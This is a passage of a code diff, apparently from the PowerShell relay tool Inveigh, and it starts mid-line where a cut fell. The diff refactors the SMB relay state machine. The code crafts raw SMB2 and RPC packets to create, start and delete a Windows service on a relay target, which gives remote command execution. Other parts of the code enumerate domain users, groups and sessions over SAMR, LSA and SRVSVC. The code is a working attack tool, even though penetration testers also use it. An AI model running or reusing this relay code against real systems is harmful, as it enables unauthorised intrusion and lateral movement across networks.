[Math]::Ceiling($SCM_data.Length / $SMB_split_index) $message_ID++ + $stage_current = $stage $SCM_data_first = $SCM_data[0..($SMB_split_index - 1)] $packet_RPC_data = New-PacketRPCRequest 0x01 0 0 0 0x02,0x00,0x00,0x00 0x00,0x00 0x0c,0x00 $SCM_data_first $packet_RPC_data["AllocHint"] = [System.BitConverter]::GetBytes($SCM_data.Length) @@ -3043,27 +3122,15 @@ $SMB_relay_functions_scriptblock = $RPC_data_length = $SMB2_data.Length + $RPC_data.Length $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB2_header.Length $RPC_data_length $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service - $SMB_client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data + $RPC_data - $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) > $null - $SMB_client_stream.Flush() - $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) > $null - - if($SMB_split_stage_final -le 2) - { - $stage = 'CreateServiceW_Last' - } - else - { - $SMB_split_stage = 2 - $stage = 'CreateServiceW_Middle' - } - + $client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data + $RPC_data + $stage = 'SendReceive' } 'CreateServiceW_Middle' { $SMB_split_stage++ $message_ID++ + $stage_current = $stage $SCM_data_middle = $SCM_data[$SMB_split_index_tracker..($SMB_split_index_tracker + $SMB_split_index - 1)] $SMB_split_index_tracker += $SMB_split_index $packet_RPC_data = New-PacketRPCRequest 0x00 0 0 0 0x02,0x00,0x00,0x00 0x00,0x00 0x0c,0x00 $SCM_data_middle @@ -3076,25 +3143,14 @@ $SMB_relay_functions_scriptblock = $RPC_data_length = $SMB2_data.Length + $RPC_data.Length $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB2_header.Length $RPC_data_length $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service - $SMB_client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data + $RPC_data - $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) > $null - $SMB_client_stream.Flush() - $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) > $null - - if($SMB_split_stage -ge $SMB_split_stage_final) - { - $stage = 'CreateServiceW_Last' - } - else - { - $stage = 'CreateServiceW_Middle' - } - + $client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data + $RPC_data + $stage = 'SendReceive' } 'CreateServiceW_Last' { $message_ID++ + $stage_current = $stage $SCM_data_last = $SCM_data[$SMB_split_index_tracker..$SCM_data.Length] $packet_RPC_data = New-PacketRPCRequest 0x02 0 0 0 0x02,0x00,0x00,0x00 0x00,0x00 0x0c,0x00 $SCM_data_last $RPC_data = ConvertFrom-PacketOrderedDictionary $packet_RPC_data @@ -3105,66 +3161,24 @@ $SMB_relay_functions_scriptblock = $RPC_data_length = $SMB2_data.Length + $RPC_data.Length $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB2_header.Length $RPC_data_length $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service - $SMB_client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data + $RPC_data - $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) > $null - $SMB_client_stream.Flush() - $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) > $null - $stage = 'ReadRequest' - $stage_next = 'StartServiceW' + $client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data + $RPC_data + $stage = 'SendReceive' } - 'StartServiceW' - { - - if([System.BitConverter]::ToString($SMB_client_receive[132..135]) -eq '00-00-00-00') - { - $inveigh.output_queue.Add("[!] [$(Get-Date -format s)] Service $SMB_service created on $Target") > $null - $inveigh.output_queue.Add("[!] [$(Get-Date -format s)] Trying to execute command on $Target") > $null - $SMB_service_context_handle = $SMB_client_receive[112..131] - $message_ID++ - $packet_SMB2_header = New-PacketSMB2Header 0x09,0x00 0x01,0x00 $false $message_ID $SMB_process_ID $tree_ID $session_ID - $packet_SCM_data = New-PacketSCMStartServiceW $SMB_service_context_handle - $SCM_data = ConvertFrom-PacketOrderedDictionary $packet_SCM_data - $packet_RPC_data = New-PacketRPCRequest 0x03 $SCM_data.Length 0 0 0x03,0x00,0x00,0x00 0x00,0x00 0x13,0x00 - $RPC_data = ConvertFrom-PacketOrderedDictionary $packet_RPC_data - $packet_SMB2_data = New-PacketSMB2WriteRequest $SMB_file_ID ($RPC_data.Length + $SCM_data.Length) - $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header - $SMB2_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2_data - $RPC_data_length = $SMB2_data.Length + $SCM_data.Length + $RPC_data.Length - $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB2_header.Length $RPC_data_length - $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service - $SMB_client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data + $RPC_data + $SCM_data - $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) > $null - $SMB_client_stream.Flush() - $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) > $null - $stage = 'ReadRequest' - $stage_next = 'DeleteServiceW' - } - elseif([System.BitConverter]::ToString($SMB_client_receive[132..135]) -eq '31-04-00-00') - { - $inveigh.output_queue.Add("[!] [$(Get-Date -format s)] Service $SMB_service creation failed on $Target") > $null - $SMB_relay_failed = $true - } - else - { - $SMB_relay_failed = $true - } - - } - 'DeleteServiceW' { - if([System.BitConverter]::ToString($SMB_client_receive[108..111]) -eq '1d-04-00-00') + if([System.BitConverter]::ToString($client_receive[108..111]) -eq '1d-04-00-00') { $inveigh.output_queue.Add("[!] [$(Get-Date -format s)] Command executed on $Target") > $null } - elseif([System.BitConverter]::ToString($SMB_client_receive[108..111]) -eq '02-00-00-00') + elseif([System.BitConverter]::ToString($client_receive[108..111]) -eq '02-00-00-00') { $inveigh.output_queue.Add("[!] [$(Get-Date -format s)] Service $SMB_service failed to start on $Target") > $null } $message_ID++ + $stage_current = $stage $packet_SMB2_header = New-PacketSMB2Header 0x09,0x00 0x01,0x00 $false $message_ID $SMB_process_ID $tree_ID $session_ID $packet_SCM_data = New-PacketSCMDeleteServiceW $SMB_service_context_handle $SCM_data = ConvertFrom-PacketOrderedDictionary $packet_SCM_data @@ -3176,35 +3190,32 @@ $SMB_relay_functions_scriptblock = $RPC_data_length = $SMB2_data.Length + $SCM_data.Length + $RPC_data.Length $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB2_header.Length $RPC_data_length $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service - $SMB_client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data + $RPC_data + $SCM_data - $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) > $null - $SMB_client_stream.Flush() - $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) > $null - $stage = 'ReadRequest' - $stage_next = 'CloseServiceHandle' - $SMB_close_service_handle_stage = 1 + $client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data + $RPC_data + $SCM_data + $stage = 'SendReceive' } - 'CloseServiceHandle' + 'Logoff' { + $message_ID++ + $stage_current = $stage + $packet_SMB2_header = New-PacketSMB2Header 0x02,0x00 0x01,0x00 $false $message_ID $SMB_process_ID $tree_ID $session_ID + $packet_SMB2_data = New-PacketSMB2SessionLogoffRequest + $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header + $SMB2_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2_data + $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB2_header.Length $SMB2_data.Length + $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service + $client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data + $stage = 'SendReceive' + } - if($SMB_close_service_handle_stage -eq 1) - { - $inveigh.output_queue.Add("[!] [$(Get-Date -format s)] Service $SMB_service deleted on $Target") > $null - $message_ID++ - $SMB_close_service_handle_stage++ - $packet_SCM_data = New-PacketSCMCloseServiceHandle $SMB_service_context_handle - } - else - { - $message_ID++ - $stage = 'CloseRequest' - $packet_SCM_data = New-PacketSCMCloseServiceHandle $SMB_service_manager_context_handle - } - + 'OpenSCManagerW' + { + $message_ID++ + $stage_current = $stage $packet_SMB2_header = New-PacketSMB2Header 0x09,0x00 0x01,0x00 $false $message_ID $SMB_process_ID $tree_ID $session_ID + $packet_SCM_data = New-PacketSCMOpenSCManagerW $SMB_service_bytes $SMB_service_length $SCM_data = ConvertFrom-PacketOrderedDictionary $packet_SCM_data - $packet_RPC_data = New-PacketRPCRequest 0x03 $SCM_data.Length 0 0 0x05,0x00,0x00,0x00 0x00,0x00 0x00,0x00 + $packet_RPC_data = New-PacketRPCRequest 0x03 $SCM_data.Length 0 0 0x01,0x00,0x00,0x00 0x00,0x00 0x0f,0x00 $RPC_data = ConvertFrom-PacketOrderedDictionary $packet_RPC_data $packet_SMB2_data = New-PacketSMB2WriteRequest $SMB_file_ID ($RPC_data.Length + $SCM_data.Length) $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header @@ -3212,70 +3223,273 @@ $SMB_relay_functions_scriptblock = $RPC_data_length = $SMB2_data.Length + $SCM_data.Length + $RPC_data.Length $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB2_header.Length $RPC_data_length $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service - $SMB_client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data + $RPC_data + $SCM_data - $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) > $null - $SMB_client_stream.Flush() - $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) > $null + $client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data + $RPC_data + $SCM_data + $stage = 'SendReceive' } - 'CloseRequest' + 'ReadRequest' { + Start-Sleep -m 150 $message_ID++ - $packet_SMB2_header = New-PacketSMB2Header 0x06,0x00 0x01,0x00 $false $message_ID $SMB_process_ID $tree_ID $session_ID - $packet_SMB2_data = New-PacketSMB2CloseRequest $SMB_file_ID + $stage_current = $stage + $packet_SMB2_header = New-PacketSMB2Header 0x08,0x00 0x01,0x00 $false $message_ID $SMB_process_ID $tree_ID $session_ID + $packet_SMB2_data = New-PacketSMB2ReadRequest $SMB_file_ID + $packet_SMB2_data["Length"] = 0xff,0x00,0x00,0x00 $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header - $SMB2_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2_data + $SMB2_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2_data $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB2_header.Length $SMB2_data.Length $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service - $SMB_client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data - $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) > $null - $SMB_client_stream.Flush() - $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) > $null - $stage = 'TreeDisconnect' + $client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data + $stage = 'SendReceive' } - 'TreeDisconnect' + 'RPCBind' { + $SMB_named_pipe_bytes = 0x73,0x00,0x76,0x00,0x63,0x00,0x63,0x00,0x74,0x00,0x6c,0x00 # \svcctl + $SMB_file_ID = $client_receive[132..147] $message_ID++ - $packet_SMB2_header = New-PacketSMB2Header 0x04,0x00 0x01,0x00 $false $message_ID $SMB_process_ID $tree_ID $session_ID - $packet_SMB2_data = New-PacketSMB2TreeDisconnectRequest + $stage_current = $stage + $packet_SMB2_header = New-PacketSMB2Header 0x09,0x00 0x01,0x00 $false $message_ID $SMB_process_ID $tree_ID $session_ID + $packet_RPC_data = New-PacketRPCBind 0x48,0x00 1 0x01 0x00,0x00 $named_pipe_UUID 0x02,0x00 + $RPC_data = ConvertFrom-PacketOrderedDictionary $packet_RPC_data + $packet_SMB2_data = New-PacketSMB2WriteRequest $SMB_file_ID $RPC_data.Length $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header - $SMB2_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2_data - $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB2_header.Length $SMB2_data.Length + $SMB2_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2_data + $RPC_data_length = $SMB2_data.Length + $RPC_data.Length + $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB2_header.Length $RPC_data_length $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service - $SMB_client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data - $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) > $null - $SMB_client_stream.Flush() - $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) > $null + $client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data + $RPC_data + $stage = 'SendReceive' + } - if($Attack -contains 'Session' -or $Attack -contains 'Execute') + 'SendReceive' + { + $client_stream.Write($client_send,0,$client_send.Length) > $null + $client_stream.Flush() + $client_stream.Read($client_receive,0,$client_receive.Length) > $null + + if(Get-StatusPending $client_receive[12..15]) { - $inveigh.session_message_ID_table[$inveigh.session_count] = $message_ID - $stage = 'Exit' + $stage = 'StatusPending' } else { - $stage = 'Logoff' + $stage = 'StatusReceived' } - + } - 'Logoff' + 'StartServiceW' + { + + if([System.BitConverter]::ToString($client_receive[132..135]) -eq '00-00-00-00') + { + $inveigh.output_queue.Add("[!] [$(Get-Date -format s)] Service $SMB_service created on $Target") > $null + $inveigh.output_queue.Add("[!] [$(Get-Date -format s)] Trying to execute command on $Target") > $null + $SMB_service_context_handle = $client_receive[112..131] + $message_ID++ + $stage_current = $stage + $packet_SMB2_header = New-PacketSMB2Header 0x09,0x00 0x01,0x00 $false $message_ID $SMB_process_ID $tree_ID $session_ID + $packet_SCM_data = New-PacketSCMStartServiceW $SMB_service_context_handle + $SCM_data = ConvertFrom-PacketOrderedDictionary $packet_SCM_data + $packet_RPC_data = New-PacketRPCRequest 0x03 $SCM_data.Length 0 0 0x03,0x00,0x00,0x00 0x00,0x00 0x13,0x00 + $RPC_data = ConvertFrom-PacketOrderedDictionary $packet_RPC_data + $packet_SMB2_data = New-PacketSMB2WriteRequest $SMB_file_ID ($RPC_data.Length + $SCM_data.Length) + $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header + $SMB2_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2_data + $RPC_data_length = $SMB2_data.Length + $SCM_data.Length + $RPC_data.Length + $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB2_header.Length $RPC_data_length + $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service + $client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data + $RPC_data + $SCM_data + $stage = 'SendReceive' + } + elseif([System.BitConverter]::ToString($client_receive[132..135]) -eq '31-04-00-00') + { + $inveigh.output_queue.Add("[!] [$(Get-Date -format s)] Service $SMB_service creation failed on $Target") > $null + $SMB_relay_failed = $true + } + else + { + $SMB_relay_failed = $true + } + + } + + 'StatusPending' { + $client_stream.Read($client_receive,0,$client_receive.Length) + + if([System.BitConverter]::ToString($client_receive[12..15]) -ne '03-01-00-00') + { + $stage = $stage_next + } + + } + + 'StatusReceived' + { + + switch ($stage_current) + { + + 'CloseRequest' + { + $stage = 'TreeDisconnect' + } + + 'CloseServiceHandle' + { + + if($SMB_close_service_handle_stage -eq 2) + { + $stage = 'CloseServiceHandle' + } + else + { + $stage = 'CloseRequest' + } + + } + + 'CreateRequest' + { + $file_ID = $client_receive[132..147] + $stage = 'RPCBind' + } + + 'CreateServiceW' + { + $stage = 'ReadRequest' + $stage_next = 'StartServiceW' + } + + 'CreateServiceW_First' + { + + if($SMB_split_stage_final -le 2) + { + $stage = 'CreateServiceW_Last' + } + else + { + $SMB_split_stage = 2 + $stage = 'CreateServiceW_Middle' + } + + } + + 'CreateServiceW_Middle' + { + + if($SMB_split_stage -ge $SMB_split_stage_final) + { + $stage = 'CreateServiceW_Last' + } + else + { + $stage = 'CreateServiceW_Middle' + } + + } + + 'CreateServiceW_Last' + { + $stage = 'ReadRequest' + $stage_next = 'StartServiceW' + } + + 'DeleteServiceW' + { + $stage = 'ReadRequest' + $stage_next = 'CloseServiceHandle' + $SMB_close_service_handle_stage = 1 + } + + 'Logoff' + { + $stage = 'Exit' + } + + 'OpenSCManagerW' + { + $stage = 'ReadRequest' + $stage_next = 'CheckAccess' + } + + 'ReadRequest' + { + $stage = $stage_next + } + + 'RPCBind' + { + $stage = 'ReadRequest' + $stage_next = 'OpenSCManagerW' + } + + 'StartServiceW' + { + $stage = 'ReadRequest' + $stage_next = 'DeleteServiceW' + } + + 'TreeConnect' + { + $tree_ID = $client_receive[40..43] + $stage = 'CreateRequest' + } + + 'TreeDisconnect' + { + + if($Attack -contains 'Session' -or $Attack -contains 'Execute') + { + $inveigh.session_message_ID_table[$inveigh.session_count] = $message_ID + $stage = 'Exit' + } + else + { + $stage = 'Logoff' + } + + } + + } + + } + + 'TreeConnect' + { + #$tree_ID = $client_receive[40..43] + $tree_ID = 0x00,0x00,0x00,0x00 $message_ID++ - $packet_SMB2_header = New-PacketSMB2Header 0x02,0x00 0x01,0x00 $false $message_ID $SMB_process_ID $tree_ID $session_ID - $packet_SMB2_data = New-PacketSMB2SessionLogoffRequest + $stage_current = $stage + $packet_SMB2_header = New-PacketSMB2Header 0x03,0x00 0x01,0x00 $false $message_ID $SMB_process_ID $tree_ID $session_ID + $packet_SMB2_data = New-PacketSMB2TreeConnectRequest $SMB_path_bytes + $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header + $SMB2_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2_data + $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB2_header.Length $SMB2_data.Length + $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service + $client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data + $stage = 'SendReceive' + } + + 'TreeDisconnect' + { + $message_ID++ + $stage_current = $stage + $packet_SMB2_header = New-PacketSMB2Header 0x04,0x00 0x01,0x00 $false $message_ID $SMB_process_ID $tree_ID $session_ID + $packet_SMB2_data = New-PacketSMB2TreeDisconnectRequest $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header $SMB2_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2_data $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB2_header.Length $SMB2_data.Length $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service - $SMB_client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data - $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) > $null - $SMB_client_stream.Flush() - $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) > $null - $stage = 'Exit' + $client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data + $stage = 'SendReceive' } + + } if($SMB_relay_failed -and $Attack -notcontains 'Session') @@ -3301,26 +3515,14 @@ $SMB_relay_functions_scriptblock = } else { - $SMB_client.Close() + $client.Close() } } - function SMBRelayEnum + function Invoke-SMBRelayEnum { - param ($SMB_client,$SMB_user_ID,$session_ID,$process_ID,$Enumerate,$EnumerateGroup) - - function Get-StatusPending - { - param ([Byte[]]$Status) - - if([System.BitConverter]::ToString($Status) -eq '03-01-00-00') - { - $status_pending = $true - } - - return $status_pending - } + param ($client,$SMB_user_ID,$session_ID,$process_ID,$Enumerate,$EnumerateGroup) $client_receive = New-Object System.Byte[] 81920 $SMB_signing = $false @@ -3342,7 +3544,7 @@ $SMB_relay_functions_scriptblock = $path_bytes = [System.Text.Encoding]::Unicode.GetBytes($path) $j = 0 $stage = 'TreeConnect' - $client_stream = $SMB_client.GetStream() + $client_stream = $client.GetStream() while ($stage -ne 'Exit') { @@ -3364,20 +3566,7 @@ $SMB_relay_functions_scriptblock = $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB_header.Length $SMB_data.Length $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service $client_send = $NetBIOS_session_service + $SMB_header + $SMB_data - $client_stream.Write($client_send,0,$client_send.Length) > $null - $client_stream.Flush() - $client_stream.Read($client_receive,0,$client_receive.Length) > $null - - if(Get-StatusPending $client_receive[12..15]) - { - $stage = 'StatusPending' - $stage_next = 'StatusReceived' - } - else - { - $stage = 'StatusReceived' - } - + $stage = 'SendReceive' } 'Connect2' @@ -3396,20 +3585,7 @@ $SMB_relay_functions_scriptblock = $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB_header.Length $RPC_data_length $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service $client_send = $NetBIOS_session_service + $SMB_header + $SMB_data + $RPC_data + $SAMR_data - $client_stream.Write($client_send,0,$client_send.Length) > $null - $client_stream.Flush() - $client_stream.Read($client_receive,0,$client_receive.Length) > $null - - if(Get-StatusPending $client_receive[12..15]) - { - $stage = 'StatusPending' - $stage_next = 'StatusReceived' - } - else - { - $stage = 'StatusReceived' - } - + $stage = 'SendReceive' } 'Connect5' @@ -3428,20 +3604,7 @@ $SMB_relay_functions_scriptblock = $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB_header.Length $RPC_data_length $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service $client_send = $NetBIOS_session_service + $SMB_header + $SMB_data + $RPC_data + $SAMR_data - $client_stream.Write($client_send,0,$client_send.Length) > $null - $client_stream.Flush() - $client_stream.Read($client_receive,0,$client_receive.Length) > $null - - if(Get-StatusPending $client_receive[12..15]) - { - $stage = 'StatusPending' - $stage_next = 'StatusReceived' - } - else - { - $stage = 'StatusReceived' - } - + $stage = 'SendReceive' } 'CreateRequest' @@ -3455,32 +3618,7 @@ $SMB_relay_functions_scriptblock = $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB_header.Length $SMB_data.Length $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service $client_send = $NetBIOS_session_service + $SMB_header + $SMB_data - - try - { - $client_stream.Write($client_send,0,$client_send.Length) > $null - $client_stream.Flush() - $client_stream.Read($client_receive,0,$client_receive.Length) > $null - - if(Get-StatusPending $client_receive[12..15]) - { - $stage = 'StatusPending' - $stage_next = 'StatusReceived' - } - else - { - $stage = 'StatusReceived' - } - - } - catch - { - $error_message = $_.Exception.Message - $error_message = $error_message -replace "`n","" - $inveigh.output_queue.Add("[!] [$(Get-Date -format s)] $error_message") > $null - $stage = 'Exit' - } - + $stage = 'SendReceive' } 'EnumDomainUsers' @@ -3499,20 +3637,7 @@ $SMB_relay_functions_scriptblock = $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB_header.Length $RPC_data_length $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service $client_send = $NetBIOS_session_service + $SMB_header + $SMB_data + $RPC_data + $SAMR_data - $client_stream.Write($client_send,0,$client_send.Length) > $null - $client_stream.Flush() - $client_stream.Read($client_receive,0,$client_receive.Length) > $null - - if(Get-StatusPending $client_receive[12..15]) - { - $stage = 'StatusPending' - $stage_next = 'StatusReceived' - } - else - { - $stage = 'StatusReceived' - } - + $stage = 'SendReceive' } 'GetMembersInAlias' @@ -3531,20 +3656,7 @@ $SMB_relay_functions_scriptblock = $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB_header.Length $RPC_data_length $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service $client_send = $NetBIOS_session_service + $SMB_header + $SMB_data + $RPC_data + $SAMR_data - $client_stream.Write($client_send,0,$client_send.Length) > $null - $client_stream.Flush() - $client_stream.Read($client_receive,0,$client_receive.Length) > $null - - if(Get-StatusPending $client_receive[12..15]) - { - $stage = 'StatusPending' - $stage_next = 'StatusReceived' - } - else - { - $stage = 'StatusReceived' - } - + $stage = 'SendReceive' } 'Logoff' @@ -3558,10 +3670,7 @@ $SMB_relay_functions_scriptblock = $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB_header.Length $SMB_data.Length $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service $client_send = $NetBIOS_session_service + $SMB_header + $SMB_data - $client_stream.Write($client_send,0,$client_send.Length) > $null - $client_stream.Flush() - $client_stream.Read($client_receive,0,$client_receive.Length) > $null - $stage = 'Exit' + $stage = 'SendReceive' } 'LookupNames' @@ -3580,20 +3689,7 @@ $SMB_relay_functions_scriptblock = $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB_header.Length $RPC_data_length $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service $client_send = $NetBIOS_session_service + $SMB_header + $SMB_data + $RPC_data + $SAMR_data - $client_stream.Write($client_send,0,$client_send.Length) > $null - $client_stream.Flush() - $client_stream.Read($client_receive,0,$client_receive.Length) > $null - - if(Get-StatusPending $client_receive[12..15]) - { - $stage = 'StatusPending' - $stage_next = 'StatusReceived' - } - else - { - $stage = 'StatusReceived' - } - + $stage = 'SendReceive' } 'LookupRids' @@ -3612,20 +3708,7 @@ $SMB_relay_functions_scriptblock = $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB_header.Length $RPC_data_length $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service $client_send = $NetBIOS_session_service + $SMB_header + $SMB_data + $RPC_data + $SAMR_data - $client_stream.Write($client_send,0,$client_send.Length) > $null - $client_stream.Flush() - $client_stream.Read($client_receive,0,$client_receive.Length) > $null - - if(Get-StatusPending $client_receive[12..15]) - { - $stage = 'StatusPending' - $stage_next = 'StatusReceived' - } - else - { - $stage = 'StatusReceived' - } - + $stage = 'SendReceive' } 'LSAClose' @@ -3644,21 +3727,8 @@ $SMB_relay_functions_scriptblock = $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB_header.Length $RPC_data_length $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service $client_send = $NetBIOS_session_service + $SMB_header + $SMB_data + $RPC_data + $LSARPC_data - $client_stream.Write($client_send,0,$client_send.Length) > $null - $client_stream.Flush() - $client_stream.Read($client_receive,0,$client_receive.Length) > $null + $stage = 'SendReceive' $step++ - - if(Get-StatusPending $client_receive[12..15]) - { - $stage = 'StatusPending' - $stage_next = 'StatusReceived' - } - else - { - $stage = 'StatusReceived' - } - } 'LSALookupSids' @@ -3677,20 +3747,7 @@ $SMB_relay_functions_scriptblock = $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB_header.Length $RPC_data_length $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service $client_send = $NetBIOS_session_service + $SMB_header + $SMB_data + $RPC_data + $LSARPC_data - $client_stream.Write($client_send,0,$client_send.Length) > $null - $client_stream.Flush() - $client_stream.Read($client_receive,0,$client_receive.Length) > $null - - if(Get-StatusPending $client_receive[12..15]) - { - $stage = 'StatusPending' - $stage_next = 'StatusReceived' - } - else - { - $stage = 'StatusReceived' - } - + $stage = 'SendReceive' } 'LSAOpenPolicy' @@ -3709,20 +3766,7 @@ $SMB_relay_functions_scriptblock = $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB_header.Length $RPC_data_length $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service $client_send = $NetBIOS_session_service + $SMB_header + $SMB_data + $RPC_data + $LSARPC_data - $client_stream.Write($client_send,0,$client_send.Length) > $null - $client_stream.Flush() - $client_stream.Read($client_receive,0,$client_receive.Length) > $null - - if(Get-StatusPending $client_receive[12..15]) - { - $stage = 'StatusPending' - $stage_next = 'StatusReceived' - } - else - { - $stage = 'StatusReceived' - } - + $stage = 'SendReceive' } 'LSAQueryInfoPolicy' @@ -3741,20 +3785,7 @@ $SMB_relay_functions_scriptblock = $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB_header.Length $RPC_data_length $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service $client_send = $NetBIOS_session_service + $SMB_header + $SMB_data + $RPC_data + $LSARPC_data - $client_stream.Write($client_send,0,$client_send.Length) > $null - $client_stream.Flush() - $client_stream.Read($client_receive,0,$client_receive.Length) > $null - - if(Get-StatusPending $client_receive[12..15]) - { - $stage = 'StatusPending' - $stage_next = 'StatusReceived' - } - else - { - $stage = 'StatusReceived' - } - + $stage = 'SendReceive' } 'NetSessEnum' @@ -3773,20 +3804,7 @@ $SMB_relay_functions_scriptblock = $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB_header.Length $RPC_data_length $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service $client_send = $NetBIOS_session_service + $SMB_header + $SMB_data + $RPC_data + $SRVSVC_data - $client_stream.Write($client_send,0,$client_send.Length) > $null - $client_stream.Flush() - $client_stream.Read($client_receive,0,$client_receive.Length) > $null - - if(Get-StatusPending $client_receive[12..15]) - { - $stage = 'StatusPending' - $stage_next = 'StatusReceived' - } - else - { - $stage = 'StatusReceived' - } - + $stage = 'SendReceive' 